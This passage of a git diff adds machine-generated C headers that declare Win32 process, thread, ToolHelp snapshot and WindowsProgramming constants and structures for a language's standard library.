ABOVE_NORMAL_PRIORITY_CLASS 0x8000 +#define INHERIT_PARENT_AFFINITY 0x10000 +#define INHERIT_CALLER_PRIORITY 0x20000 +#define CREATE_PROTECTED_PROCESS 0x40000 +#define EXTENDED_STARTUPINFO_PRESENT 0x80000 +#define PROCESS_MODE_BACKGROUND_BEGIN 0x100000 +#define PROCESS_MODE_BACKGROUND_END 0x200000 +#define CREATE_SECURE_PROCESS 0x400000 +#define CREATE_BREAKAWAY_FROM_JOB 0x1000000 +#define CREATE_PRESERVE_CODE_AUTHZ_LEVEL 0x2000000 +#define CREATE_DEFAULT_ERROR_MODE 0x4000000 +#define CREATE_NO_WINDOW 0x8000000 +#define PROFILE_USER 0x10000000 +#define PROFILE_KERNEL 0x20000000 +#define PROFILE_SERVER 0x40000000 +#define CREATE_IGNORE_SYSTEM_DEFAULT 0x80000000 +#define PROCESS_AFFINITY_DISABLE_AUTO_UPDATE 0x0 +#define PROCESS_AFFINITY_ENABLE_AUTO_UPDATE 0x1 +#define ProcessMemoryPriority 0 +#define ProcessMemoryExhaustionInfo 1 +#define ProcessAppMemoryInfo 2 +#define ProcessInPrivateInfo 3 +#define ProcessPowerThrottling 4 +#define ProcessReservedValue1 5 +#define ProcessTelemetryCoverageInfo 6 +#define ProcessProtectionLevelInfo 7 +#define ProcessLeapSecondInfo 8 +#define ProcessMachineTypeInfo 9 +#define ProcessOverrideSubsequentPrefetchParameter 10 +#define ProcessMaxOverridePrefetchParameter 11 +#define ProcessInformationClassMax 12 +#define CREATE_EVENT_INITIAL_SET 0x2 +#define CREATE_EVENT_MANUAL_RESET 0x1 +#define MEMORY_PRIORITY_VERY_LOW 0x1 +#define MEMORY_PRIORITY_LOW 0x2 +#define MEMORY_PRIORITY_MEDIUM 0x3 +#define MEMORY_PRIORITY_BELOW_NORMAL 0x4 +#define MEMORY_PRIORITY_NORMAL 0x5 +#define LOGON_WITH_PROFILE 0x1 +#define LOGON_NETCREDENTIALS_ONLY 0x2 +#define THREAD_TERMINATE 0x1 +#define THREAD_SUSPEND_RESUME 0x2 +#define THREAD_GET_CONTEXT 0x8 +#define THREAD_SET_CONTEXT 0x10 +#define THREAD_SET_INFORMATION 0x20 +#define THREAD_QUERY_INFORMATION 0x40 +#define THREAD_SET_THREAD_TOKEN 0x80 +#define THREAD_IMPERSONATE 0x100 +#define THREAD_DIRECT_IMPERSONATION 0x200 +#define THREAD_SET_LIMITED_INFORMATION 0x400 +#define THREAD_QUERY_LIMITED_INFORMATION 0x800 +#define THREAD_RESUME 0x1000 +#define THREAD_ALL_ACCESS 0x1fffff +#define THREAD_DELETE 0x10000 +#define THREAD_READ_CONTROL 0x20000 +#define THREAD_WRITE_DAC 0x40000 +#define THREAD_WRITE_OWNER 0x80000 +#define THREAD_SYNCHRONIZE 0x100000 +#define THREAD_STANDARD_RIGHTS_REQUIRED 0xf0000 +#define ThreadMemoryPriority 0 +#define ThreadAbsoluteCpuPriority 1 +#define ThreadDynamicCodePolicy 2 +#define ThreadPowerThrottling 3 +#define ThreadInformationClassMax 4 + +typedef struct _PROCESS_MEMORY_EXHAUSTION_INFO { + unsigned short Version; + unsigned short Reserved; + void* Type; + unsigned long long Value; +} PROCESS_MEMORY_EXHAUSTION_INFO; + +typedef struct _PROCESS_PROTECTION_LEVEL_INFORMATION { + void* ProtectionLevel; +} PROCESS_PROTECTION_LEVEL_INFORMATION; + +typedef struct _PROCESS_DYNAMIC_ENFORCED_ADDRESS_RANGE { + unsigned long long BaseAddress; + unsigned long long Size; + unsigned int Flags; +} PROCESS_DYNAMIC_ENFORCED_ADDRESS_RANGE; + +typedef struct _PROCESS_BASIC_INFORMATION { + int ExitStatus; + void* PebBaseAddress; + unsigned long long AffinityMask; + int BasePriority; + unsigned long long UniqueProcessId; + unsigned long long InheritedFromUniqueProcessId; +} PROCESS_BASIC_INFORMATION; + +typedef struct _LPPROC_THREAD_ATTRIBUTE_LIST { + void* Value; +} LPPROC_THREAD_ATTRIBUTE_LIST; + +typedef struct _CRITICAL_SECTION_DEBUG { + unsigned short Type; + unsigned short CreatorBackTraceIndex; + void* CriticalSection; + void* ProcessLocksList; + unsigned int EntryCount; + unsigned int ContentionCount; + unsigned int Flags; + unsigned short CreatorBackTraceIndexHigh; + unsigned short Identifier; +} CRITICAL_SECTION_DEBUG; + +typedef struct _PTP_CLEANUP_GROUP { + long long Value; +} PTP_CLEANUP_GROUP; + +typedef struct _REASON_CONTEXT { + unsigned int Version; + void* Flags; + void* Reason; +} REASON_CONTEXT; + +typedef struct _PROCESS_POWER_THROTTLING_STATE { + unsigned int Version; + unsigned int ControlMask; + unsigned int StateMask; +} PROCESS_POWER_THROTTLING_STATE; + +typedef struct _PROCESS_LEAP_SECOND_INFO { + unsigned int Flags; + unsigned int Reserved; +} PROCESS_LEAP_SECOND_INFO; + +typedef struct _RTL_USER_PROCESS_PARAMETERS { + unsigned char Reserved1[16]; + void* Reserved2[10]; + void* ImagePathName; + void* CommandLine; +} RTL_USER_PROCESS_PARAMETERS; + +typedef struct _PTP_WORK { + long long Value; +} PTP_WORK; + +typedef struct _PROCESS_DYNAMIC_ENFORCED_ADDRESS_RANGES_INFORMATION { + unsigned short NumberOfRanges; + unsigned short Reserved; + unsigned int Reserved2; + void* Ranges; +} PROCESS_DYNAMIC_ENFORCED_ADDRESS_RANGES_INFORMATION; + +typedef struct _PROCESS_INFORMATION { + void* hProcess; + void* hThread; + unsigned int dwProcessId; + unsigned int dwThreadId; +} PROCESS_INFORMATION; + +typedef struct _PTP_CALLBACK_INSTANCE { + long long Value; +} PTP_CALLBACK_INSTANCE; + +typedef struct _STARTUPINFOW { + unsigned int cb; + void* lpReserved; + void* lpDesktop; + void* lpTitle; + unsigned int dwX; + unsigned int dwY; + unsigned int dwXSize; + unsigned int dwYSize; + unsigned int dwXCountChars; + unsigned int dwYCountChars; + unsigned int dwFillAttribute; + void* dwFlags; + unsigned short wShowWindow; + unsigned short cbReserved2; + void* lpReserved2; + void* hStdInput; + void* hStdOutput; + void* hStdError; +} STARTUPINFOW; + +typedef struct _APP_MEMORY_INFORMATION { + unsigned long long AvailableCommit; + unsigned long long PrivateCommitUsage; + unsigned long long PeakPrivateCommitUsage; + unsigned long long TotalCommitUsage; +} APP_MEMORY_INFORMATION; + +typedef struct _PROCESS_DYNAMIC_EH_CONTINUATION_TARGETS_INFORMATION { + unsigned short NumberOfTargets; + unsigned short Reserved; + unsigned int Reserved2; + void* Targets; +} PROCESS_DYNAMIC_EH_CONTINUATION_TARGETS_INFORMATION; + +typedef struct _IO_COUNTERS { + unsigned long long ReadOperationCount; + unsigned long long WriteOperationCount; + unsigned long long OtherOperationCount; + unsigned long long ReadTransferCount; + unsigned long long WriteTransferCount; + unsigned long long OtherTransferCount; +} IO_COUNTERS; + +typedef struct _INIT_ONCE { + void* Ptr; +} INIT_ONCE; + +typedef struct _STARTUPINFOA { + unsigned int cb; + void* lpReserved; + void* lpDesktop; + void* lpTitle; + unsigned int dwX; + unsigned int dwY; + unsigned int dwXSize; + unsigned int dwYSize; + unsigned int dwXCountChars; + unsigned int dwYCountChars; + unsigned int dwFillAttribute; + void* dwFlags; + unsigned short wShowWindow; + unsigned short cbReserved2; + void* lpReserved2; + void* hStdInput; + void* hStdOutput; + void* hStdError; +} STARTUPINFOA; + +typedef struct _UMS_SCHEDULER_STARTUP_INFO { + unsigned int UmsVersion; + void* CompletionList; + void* SchedulerProc; + void* SchedulerParam; +} UMS_SCHEDULER_STARTUP_INFO; + +typedef struct _MEMORY_PRIORITY_INFORMATION { + void* MemoryPriority; +} MEMORY_PRIORITY_INFORMATION; + +typedef struct _AVRT_TASK_HANDLE { + void* Value; +} AVRT_TASK_HANDLE; + +typedef struct _UMS_SYSTEM_THREAD_INFORMATION { + unsigned int UmsVersion; + void* Anonymous; +} UMS_SYSTEM_THREAD_INFORMATION; + +typedef struct _PTP_WAIT { + long long Value; +} PTP_WAIT; + +typedef struct _TP_CALLBACK_ENVIRON_V3 { + unsigned int Version; + void* Pool; + void* CleanupGroup; + void* CleanupGroupCancelCallback; + void* RaceDll; + long long ActivationContext; + void* FinalizationCallback; + void* u; + void* CallbackPriority; + unsigned int Size; +} TP_CALLBACK_ENVIRON_V3; + +typedef struct _STARTUPINFOEXA { + void* StartupInfo; + void* lpAttributeList; +} STARTUPINFOEXA; + +typedef struct _PROCESS_MACHINE_INFORMATION { + void* ProcessMachine; + unsigned short Res0; + void* MachineAttributes; +} PROCESS_MACHINE_INFORMATION; + +typedef struct _THREAD_POWER_THROTTLING_STATE { + unsigned int Version; + unsigned int ControlMask; + unsigned int StateMask; +} THREAD_POWER_THROTTLING_STATE; + +typedef struct _CRITICAL_SECTION { + void* DebugInfo; + int LockCount; + int RecursionCount; + void* OwningThread; + void* LockSemaphore; + unsigned long long SpinCount; +} CRITICAL_SECTION; + +typedef struct _SYNCHRONIZATION_BARRIER { + unsigned int Reserved1; + unsigned int Reserved2; + unsigned long long Reserved3[2]; + unsigned int Reserved4; + unsigned int Reserved5; +} SYNCHRONIZATION_BARRIER; + +typedef struct _SRWLOCK { + void* Ptr; +} SRWLOCK; + +typedef struct _PEB_LDR_DATA { + unsigned char Reserved1[8]; + void* Reserved2[3]; + void* InMemoryOrderModuleList; +} PEB_LDR_DATA; + +typedef struct _STARTUPINFOEXW { + void* StartupInfo; + void* lpAttributeList; +} STARTUPINFOEXW; + +typedef struct _PEB { + unsigned char Reserved1[2]; + unsigned char BeingDebugged; + unsigned char Reserved2[1]; + void* Reserved3[2]; + void* Ldr; + void* ProcessParameters; + void* Reserved4[3]; + void* AtlThunkSListPtr; + void* Reserved5; + unsigned int Reserved6; + void* Reserved7; + unsigned int Reserved8; + unsigned int AtlThunkSListPtr32; + void* Reserved9[45]; + unsigned char Reserved10[96]; + void* PostProcessInitRoutine; + unsigned char Reserved11[128]; + void* Reserved12[1]; + unsigned int SessionId; +} PEB; + +typedef struct _CONDITION_VARIABLE { + void* Ptr; +} CONDITION_VARIABLE; + +typedef struct _PTP_POOL { + long long Value; +} PTP_POOL; + +typedef struct _PTP_TIMER { + long long Value; +} PTP_TIMER; + +typedef struct _TEB { + void* Reserved1[12]; + void* ProcessEnvironmentBlock; + void* Reserved2[399]; + unsigned char Reserved3[1952]; + void* TlsSlots[64]; + unsigned char Reserved4[8]; + void* Reserved5[26]; + void* ReservedForOle; + void* Reserved6[4]; + void* TlsExpansionSlots; +} TEB; + +typedef struct _AVRT_THREAD_ORDERING_GROUP_HANDLE { + void* Value; +} AVRT_THREAD_ORDERING_GROUP_HANDLE; + +typedef struct _PTP_IO { + long long Value; +} PTP_IO; + +typedef struct _OVERRIDE_PREFETCH_PARAMETER { + unsigned int Value; +} OVERRIDE_PREFETCH_PARAMETER; + +typedef struct _TP_POOL_STACK_INFORMATION { + unsigned long long StackReserve; + unsigned long long StackCommit; +} TP_POOL_STACK_INFORMATION; + +typedef struct _PROCESS_DYNAMIC_EH_CONTINUATION_TARGET { + unsigned long long TargetAddress; + unsigned long long Flags; +} PROCESS_DYNAMIC_EH_CONTINUATION_TARGET; + diff --git a/stdlib/win32/toolhelp.h b/stdlib/win32/toolhelp.h new file mode 100644 index 0000000..66f9162 --- /dev/null +++ b/stdlib/win32/toolhelp.h @@ -0,0 +1,61 @@ +// Generated by entc-win32gen from `Windows.Win32.System.Diagnostics.ToolHelp`. +// Do not edit by hand. Re-run the generator to refresh. + +#define TH32CS_SNAPHEAPLIST 0x1 +#define TH32CS_SNAPPROCESS 0x2 +#define TH32CS_SNAPTHREAD 0x4 +#define TH32CS_SNAPMODULE 0x8 +#define TH32CS_SNAPMODULE32 0x10 +#define TH32CS_SNAPALL 0xF +#define TH32CS_INHERIT 0x80000000 + +#define MAX_MODULE_NAME32 255 + +typedef struct tagPROCESSENTRY32 { + unsigned int dwSize; + unsigned int cntUsage; + unsigned int th32ProcessID; + void* th32DefaultHeapID; + unsigned int th32ModuleID; + unsigned int cntThreads; + unsigned int th32ParentProcessID; + int pcPriClassBase; + unsigned int dwFlags; + unsigned char szExeFile[260]; +} PROCESSENTRY32; + +typedef struct tagMODULEENTRY32 { + unsigned int dwSize; + unsigned int th32ModuleID; + unsigned int th32ProcessID; + unsigned int GlblcntUsage; + unsigned int ProccntUsage; + void* modBaseAddr; + unsigned int modBaseSize; + void* hModule; + unsigned char szModule[256]; + unsigned char szExePath[260]; +} MODULEENTRY32; + +typedef struct tagTHREADENTRY32 { + unsigned int dwSize; + unsigned int cntUsage; + unsigned int th32ThreadID; + unsigned int th32OwnerProcessID; + int tpBasePri; + int tpDeltaPri; + unsigned int dwFlags; +} THREADENTRY32; + +typedef struct tagHEAPENTRY32 { + void* dwSize; + void* hHandle; + void* dwAddress; + void* dwBlockSize; + unsigned int dwFlags; + unsigned int dwLockCount; + unsigned int dwResvd; + unsigned int th32ProcessID; + void* th32HeapID; +} HEAPENTRY32; + diff --git a/stdlib/win32/windowsprogramming.h b/stdlib/win32/windowsprogramming.h new file mode 100644 index 0000000..a6e2cce --- /dev/null +++ b/stdlib/win32/windowsprogramming.h @@ -0,0 +1,1188 @@ +// Generated by entc-win32gen from `Windows.Win32.System.WindowsProgramming`. +// Do not edit by hand. Re-run the generator to refresh. + +typedef unsigned char BYTE; +typedef unsigned short WORD; +typedef unsigned long DWORD; +typedef unsigned long long ULONGLONG; +typedef long LONG; +typedef unsigned long ULONG; +typedef int BOOL; +typedef void* PVOID; +typedef void* HANDLE; + +// SKIPPED const WLDP_DLL: non-integer constant +// SKIPPED const WLDP_GETLOCKDOWNPOLICY_FN: non-integer constant +// SKIPPED const WLDP_ISCLASSINAPPROVEDLIST_FN: non-integer constant +// SKIPPED const WLDP_SETDYNAMICCODETRUST_FN: non-integer constant +// SKIPPED const WLDP_ISDYNAMICCODEPOLICYENABLED_FN: non-integer constant +// SKIPPED const WLDP_QUERYDANAMICCODETRUST_FN: non-integer constant +// SKIPPED const WLDP_QUERYDYNAMICCODETRUST_FN: non-integer constant +// SKIPPED const WLDP_QUERYWINDOWSLOCKDOWNMODE_FN: non-integer constant +// SKIPPED const WLDP_SETWINDOWSLOCKDOWNRESTRICTION_FN: non-integer constant +// SKIPPED const WLDP_QUERYDEVICESECURITYINFORMATION_FN: non-integer constant +// SKIPPED const WLDP_QUERYWINDOWSLOCKDOWNRESTRICTION_FN: non-integer constant +// SKIPPED const WLDP_ISAPPAPPROVEDBYPOLICY_FN: non-integer constant +// SKIPPED const WLDP_QUERYPOLICYSETTINGENABLED_FN: non-integer constant +// SKIPPED const WLDP_QUERYPOLICYSETTINGENABLED2_FN: non-integer constant +// SKIPPED const WLDP_ISWCOSPRODUCTIONCONFIGURATION_FN: non-integer constant +// SKIPPED const WLDP_RESETWCOSPRODUCTIONCONFIGURATION_FN: non-integer constant +// SKIPPED const WLDP_ISPRODUCTIONCONFIGURATION_FN: non-integer constant +// SKIPPED const WLDP_RESETPRODUCTIONCONFIGURATION_FN: non-integer constant +// SKIPPED const WLDP_CANEXECUTEBUFFER_FN: non-integer constant +// SKIPPED const WLDP_CANEXECUTEFILE_FN: non-integer constant +// SKIPPED const WLDP_CANEXECUTEFILEFROMDETACHEDSIGNATURE_FN: non-integer constant +// SKIPPED const WLDP_QUERYSECURITYPOLICY_FN: non-integer constant +#define WLDP_LOCKDOWN_UNDEFINED 0x0 +#define WLDP_LOCKDOWN_DEFINED_FLAG 0x80000000 +#define WLDP_LOCKDOWN_CONFIG_CI_FLAG 0x1 +#define WLDP_LOCKDOWN_CONFIG_CI_AUDIT_FLAG 0x2 +#define WLDP_LOCKDOWN_UMCIENFORCE_FLAG 0x4 +#define WLDP_LOCKDOWN_AUDIT_FLAG 0x8 +#define WLDP_LOCKDOWN_EXCLUSION_FLAG 0x10 +#define WLDP_LOCKDOWN_OFF 0x80000000 +#define WLDP_HOST_INFORMATION_REVISION 0x1 +#define WLDP_FLAGS_SKIPSIGNATUREVALIDATION 0x100 +#define MAX_TDI_ENTITIES 0x1000 +#define INFO_CLASS_GENERIC 0x100 +#define INFO_CLASS_PROTOCOL 0x200 +#define INFO_CLASS_IMPLEMENTATION 0x300 +#define INFO_TYPE_PROVIDER 0x100 +#define INFO_TYPE_ADDRESS_OBJECT 0x200 +#define INFO_TYPE_CONNECTION 0x300 +#define ENTITY_LIST_ID 0x0 +#define INVALID_ENTITY_INSTANCE -1 +#define CONTEXT_SIZE 0x10 +#define ENTITY_TYPE_ID 0x1 +#define CO_TL_NBF 0x400 +#define CO_TL_SPX 0x402 +#define CO_TL_TCP 0x404 +#define CO_TL_SPP 0x406 +#define CL_TL_NBF 0x401 +#define CL_TL_UDP 0x403 +#define ER_ICMP 0x380 +#define CL_NL_IPX 0x301 +#define CL_NL_IP 0x303 +#define AT_ARP 0x280 +#define AT_NULL 0x282 +#define IF_GENERIC 0x200 +#define IF_MIB 0x202 +#define IOCTL_TDI_TL_IO_CONTROL_ENDPOINT 0x210038 +#define DCI_VERSION 0x100 +#define DCICREATEPRIMARYSURFACE 0x1 +#define DCICREATEOFFSCREENSURFACE 0x2 +#define DCICREATEOVERLAYSURFACE 0x3 +#define DCIENUMSURFACE 0x4 +#define DCIESCAPE 0x5 +#define DCI_OK 0x0 +#define DCI_FAIL_GENERIC -1 +#define DCI_FAIL_UNSUPPORTEDVERSION -2 +#define DCI_FAIL_INVALIDSURFACE -3 +#define DCI_FAIL_UNSUPPORTED -4 +#define DCI_ERR_CURRENTLYNOTAVAIL -5 +#define DCI_ERR_INVALIDRECT -6 +#define DCI_ERR_UNSUPPORTEDFORMAT -7 +#define DCI_ERR_UNSUPPORTEDMASK -8 +#define DCI_ERR_TOOBIGHEIGHT -9 +#define DCI_ERR_TOOBIGWIDTH -10 +#define DCI_ERR_TOOBIGSIZE -11 +#define DCI_ERR_OUTOFMEMORY -12 +#define DCI_ERR_INVALIDPOSITION -13 +#define DCI_ERR_INVALIDSTRETCH -14 +#define DCI_ERR_INVALIDCLIPLIST -15 +#define DCI_ERR_SURFACEISOBSCURED -16 +#define DCI_ERR_XALIGN -17 +#define DCI_ERR_YALIGN -18 +#define DCI_ERR_XYALIGN -19 +#define DCI_ERR_WIDTHALIGN -20 +#define DCI_ERR_HEIGHTALIGN -21 +#define DCI_STATUS_POINTERCHANGED 0x1 +#define DCI_STATUS_STRIDECHANGED 0x2 +#define DCI_STATUS_FORMATCHANGED 0x4 +#define DCI_STATUS_SURFACEINFOCHANGED 0x8 +#define DCI_STATUS_CHROMAKEYCHANGED 0x10 +#define DCI_STATUS_WASSTILLDRAWING 0x20 +#define DCI_SURFACE_TYPE 0xf +#define DCI_PRIMARY 0x0 +#define DCI_OFFSCREEN 0x1 +#define DCI_OVERLAY 0x2 +#define DCI_VISIBLE 0x10 +#define DCI_CHROMAKEY 0x20 +#define DCI_1632_ACCESS 0x40 +#define DCI_DWORDSIZE 0x80 +#define DCI_DWORDALIGN 0x100 +#define DCI_WRITEONLY 0x200 +#define DCI_ASYNC 0x400 +#define DCI_CAN_STRETCHX 0x1000 +#define DCI_CAN_STRETCHY 0x2000 +#define DCI_CAN_STRETCHXN 0x4000 +#define DCI_CAN_STRETCHYN 0x8000 +#define DCI_CANOVERLAY 0x10000 +#define FILE_FLAG_OPEN_REQUIRING_OPLOCK 0x40000 +#define FILE_FLAG_IGNORE_IMPERSONATED_DEVICEMAP 0x20000 +#define FILE_FLAG_DISALLOW_PATH_REDIRECTS 0x10000 +#define FAIL_FAST_GENERATE_EXCEPTION_ADDRESS 0x1 +#define FAIL_FAST_NO_HARD_ERROR_DLG 0x2 +#define SP_SERIALCOMM 0x1 +#define PST_UNSPECIFIED 0x0 +#define PST_RS232 0x1 +#define PST_PARALLELPORT 0x2 +#define PST_RS422 0x3 +#define PST_RS423 0x4 +#define PST_RS449 0x5 +#define PST_MODEM 0x6 +#define PST_FAX 0x21 +#define PST_SCANNER 0x22 +#define PST_NETWORK_BRIDGE 0x100 +#define PST_LAT 0x101 +#define PST_TCPIP_TELNET 0x102 +#define PST_X25 0x103 +#define PCF_DTRDSR 0x1 +#define PCF_RTSCTS 0x2 +#define PCF_RLSD 0x4 +#define PCF_PARITY_CHECK 0x8 +#define PCF_XONXOFF 0x10 +#define PCF_SETXCHAR 0x20 +#define PCF_TOTALTIMEOUTS 0x40 +#define PCF_INTTIMEOUTS 0x80 +#define PCF_SPECIALCHARS 0x100 +#define PCF_16BITMODE 0x200 +#define SP_PARITY 0x1 +#define SP_BAUD 0x2 +#define SP_DATABITS 0x4 +#define SP_STOPBITS 0x8 +#define SP_HANDSHAKING 0x10 +#define SP_PARITY_CHECK 0x20 +#define SP_RLSD 0x40 +#define BAUD_075 0x1 +#define BAUD_110 0x2 +#define BAUD_134_5 0x4 +#define BAUD_150 0x8 +#define BAUD_300 0x10 +#define BAUD_600 0x20 +#define BAUD_1200 0x40 +#define BAUD_1800 0x80 +#define BAUD_2400 0x100 +#define BAUD_4800 0x200 +#define BAUD_7200 0x400 +#define BAUD_9600 0x800 +#define BAUD_14400 0x1000 +#define BAUD_19200 0x2000 +#define BAUD_38400 0x4000 +#define BAUD_56K 0x8000 +#define BAUD_128K 0x10000 +#define BAUD_115200 0x20000 +#define BAUD_57600 0x40000 +#define BAUD_USER 0x10000000 +#define COMMPROP_INITIALIZED 0xe73cf52e +#define DTR_CONTROL_DISABLE 0x0 +#define DTR_CONTROL_ENABLE 0x1 +#define DTR_CONTROL_HANDSHAKE 0x2 +#define RTS_CONTROL_DISABLE 0x0 +#define RTS_CONTROL_ENABLE 0x1 +#define RTS_CONTROL_HANDSHAKE 0x2 +#define RTS_CONTROL_TOGGLE 0x3 +#define GMEM_NOCOMPACT 0x10 +#define GMEM_NODISCARD 0x20 +#define GMEM_MODIFY 0x80 +#define GMEM_DISCARDABLE 0x100 +#define GMEM_NOT_BANKED 0x1000 +#define GMEM_SHARE 0x2000 +#define GMEM_DDESHARE 0x2000 +#define GMEM_NOTIFY 0x4000 +#define GMEM_LOWER 0x1000 +#define GMEM_VALID_FLAGS 0x7f72 +#define GMEM_INVALID_HANDLE 0x8000 +#define GMEM_DISCARDED 0x4000 +#define GMEM_LOCKCOUNT 0xff +#define THREAD_PRIORITY_ERROR_RETURN 0x7fffffff +#define DRIVE_UNKNOWN 0x0 +#define DRIVE_NO_ROOT_DIR 0x1 +#define DRIVE_REMOVABLE 0x2 +#define DRIVE_FIXED 0x3 +#define DRIVE_REMOTE 0x4 +#define DRIVE_CDROM 0x5 +#define DRIVE_RAMDISK 0x6 +#define IGNORE 0x0 +#define CBR_110 0x6e +#define CBR_300 0x12c +#define CBR_600 0x258 +#define CBR_1200 0x4b0 +#define CBR_2400 0x960 +#define CBR_4800 0x12c0 +#define CBR_9600 0x2580 +#define CBR_14400 0x3840 +#define CBR_19200 0x4b00 +#define CBR_38400 0x9600 +#define CBR_56000 0xdac0 +#define CBR_57600 0xe100 +#define CBR_115200 0x1c200 +#define CBR_128000 0x1f400 +#define CBR_256000 0x3e800 +#define CE_TXFULL 0x100 +#define CE_PTO 0x200 +#define CE_IOE 0x400 +#define CE_DNS 0x800 +#define CE_OOP 0x1000 +#define CE_MODE 0x8000 +#define IE_BADID -1 +#define IE_OPEN -2 +#define IE_NOPEN -3 +#define IE_MEMORY -4 +#define IE_DEFAULT -5 +#define IE_HARDWARE -10 +#define IE_BYTESIZE -11 +#define IE_BAUDRATE -12 +#define RESETDEV 0x7 +#define LPTx 0x80 +#define S_QUEUEEMPTY 0x0 +#define S_THRESHOLD 0x1 +#define S_ALLTHRESHOLD 0x2 +#define S_NORMAL 0x0 +#define S_LEGATO 0x1 +#define S_STACCATO 0x2 +#define S_PERIOD512 0x0 +#define S_PERIOD1024 0x1 +#define S_PERIOD2048 0x2 +#define S_PERIODVOICE 0x3 +#define S_WHITE512 0x4 +#define S_WHITE1024 0x5 +#define S_WHITE2048 0x6 +#define S_WHITEVOICE 0x7 +#define S_SERDVNA -1 +#define S_SEROFM -2 +#define S_SERMACT -3 +#define S_SERQFUL -4 +#define S_SERBDNT -5 +#define S_SERDLN -6 +#define S_SERDCC -7 +#define S_SERDTP -8 +#define S_SERDVL -9 +#define S_SERDMD -10 +#define S_SERDSH -11 +#define S_SERDPT -12 +#define S_SERDFQ -13 +#define S_SERDDR -14 +#define S_SERDSR -15 +#define S_SERDST -16 +#define FS_CASE_IS_PRESERVED 0x2 +#define FS_CASE_SENSITIVE 0x1 +#define FS_UNICODE_STORED_ON_DISK 0x4 +#define FS_PERSISTENT_ACLS 0x8 +#define FS_VOL_IS_COMPRESSED 0x8000 +#define FS_FILE_COMPRESSION 0x10 +#define FS_FILE_ENCRYPTION 0x20000 +#define OFS_MAXPATHNAME 0x80 +#define MAXINTATOM 0xc000 +#define SCS_32BIT_BINARY 0x0 +#define SCS_DOS_BINARY 0x1 +#define SCS_WOW_BINARY 0x2 +#define SCS_PIF_BINARY 0x3 +#define SCS_POSIX_BINARY 0x4 +#define SCS_OS216_BINARY 0x5 +#define SCS_64BIT_BINARY 0x6 +#define SCS_THIS_PLATFORM_BINARY 0x6 +#define FIBER_FLAG_FLOAT_SWITCH 0x1 +#define UMS_VERSION 0x100 +#define FILE_SKIP_COMPLETION_PORT_ON_SUCCESS 0x1 +#define FILE_SKIP_SET_EVENT_ON_HANDLE 0x2 +#define CRITICAL_SECTION_NO_DEBUG_INFO 0x1000000 +#define HINSTANCE_ERROR 0x20 +#define FORMAT_MESSAGE_MAX_WIDTH_MASK 0xff +#define FILE_ENCRYPTABLE 0x0 +#define FILE_IS_ENCRYPTED 0x1 +#define FILE_SYSTEM_ATTR 0x2 +#define FILE_ROOT_DIR 0x3 +#define FILE_SYSTEM_DIR 0x4 +#define FILE_UNKNOWN 0x5 +#define FILE_SYSTEM_NOT_SUPPORT 0x6 +#define FILE_USER_DISALLOWED 0x7 +#define FILE_READ_ONLY 0x8 +#define FILE_DIR_DISALLOWED 0x9 +#define EFS_USE_RECOVERY_KEYS 0x1 +#define CREATE_FOR_IMPORT 0x1 +#define CREATE_FOR_DIR 0x2 +#define OVERWRITE_HIDDEN 0x4 +#define EFSRPC_SECURE_ONLY 0x8 +#define EFS_DROP_ALTERNATE_STREAMS 0x10 +#define BACKUP_INVALID 0x0 +#define BACKUP_GHOSTED_FILE_EXTENTS 0xb +#define STREAM_NORMAL_ATTRIBUTE 0x0 +#define STREAM_MODIFIED_WHEN_READ 0x1 +#define STREAM_CONTAINS_SECURITY 0x2 +#define STREAM_CONTAINS_PROPERTIES 0x4 +#define STREAM_SPARSE_ATTRIBUTE 0x8 +#define STREAM_CONTAINS_GHOSTED_FILE_EXTENTS 0x10 +#define STARTF_HOLOGRAPHIC 0x40000 +#define SHUTDOWN_NORETRY 0x1 +#define PROTECTION_LEVEL_SAME 0xffffffff +#define ATOM_FLAG_GLOBAL 0x2 +// SKIPPED const GET_SYSTEM_WOW64_DIRECTORY_NAME_A_A: non-integer constant +// SKIPPED const GET_SYSTEM_WOW64_DIRECTORY_NAME_A_W: non-integer constant +// SKIPPED const GET_SYSTEM_WOW64_DIRECTORY_NAME_A_T: non-integer constant +// SKIPPED const GET_SYSTEM_WOW64_DIRECTORY_NAME_W_A: non-integer constant +// SKIPPED const GET_SYSTEM_WOW64_DIRECTORY_NAME_W_W: non-integer constant +// SKIPPED const GET_SYSTEM_WOW64_DIRECTORY_NAME_W_T: non-integer constant +// SKIPPED const GET_SYSTEM_WOW64_DIRECTORY_NAME_T_A: non-integer constant +// SKIPPED const GET_SYSTEM_WOW64_DIRECTORY_NAME_T_W: non-integer constant +// SKIPPED const GET_SYSTEM_WOW64_DIRECTORY_NAME_T_T: non-integer constant +#define BASE_SEARCH_PATH_ENABLE_SAFE_SEARCHMODE 0x1 +#define BASE_SEARCH_PATH_DISABLE_SAFE_SEARCHMODE 0x10000 +#define BASE_SEARCH_PATH_PERMANENT 0x8000 +#define EVENTLOG_FULL_INFO 0x0 +#define OPERATION_API_VERSION 0x1 +#define MAX_COMPUTERNAME_LENGTH 0xf +#define LOGON32_PROVIDER_WINNT35 0x1 +#define LOGON32_PROVIDER_VIRTUAL 0x4 +#define LOGON_ZERO_PASSWORD_BUFFER 0x80000000 +#define HW_PROFILE_GUIDLEN 0x27 +#define DOCKINFO_UNDOCKED 0x1 +#define DOCKINFO_DOCKED 0x2 +#define DOCKINFO_USER_SUPPLIED 0x4 +#define TC_NORMAL 0x0 +#define TC_HARDERR 0x1 +#define TC_GP_TRAP 0x2 +#define TC_SIGNAL 0x3 +#define AC_LINE_OFFLINE 0x0 +#define AC_LINE_ONLINE 0x1 +#define AC_LINE_BACKUP_POWER 0x2 +#define AC_LINE_UNKNOWN 0xff +#define BATTERY_FLAG_HIGH 0x1 +#define BATTERY_FLAG_LOW 0x2 +#define BATTERY_FLAG_CRITICAL 0x4 +#define BATTERY_FLAG_CHARGING 0x8 +#define BATTERY_FLAG_NO_BATTERY 0x80 +#define BATTERY_FLAG_UNKNOWN 0xff +#define BATTERY_PERCENTAGE_UNKNOWN 0xff +#define SYSTEM_STATUS_FLAG_POWER_SAVING_ON 0x1 +#define BATTERY_LIFE_UNKNOWN 0xffffffff +#define ACTCTX_FLAG_PROCESSOR_ARCHITECTURE_VALID 0x1 +#define ACTCTX_FLAG_LANGID_VALID 0x2 +#define ACTCTX_FLAG_ASSEMBLY_DIRECTORY_VALID 0x4 +#define ACTCTX_FLAG_RESOURCE_NAME_VALID 0x8 +#define ACTCTX_FLAG_SET_PROCESS_DEFAULT 0x10 +#define ACTCTX_FLAG_APPLICATION_NAME_VALID 0x20 +#define ACTCTX_FLAG_SOURCE_IS_ASSEMBLYREF 0x40 +#define ACTCTX_FLAG_HMODULE_VALID 0x80 +#define 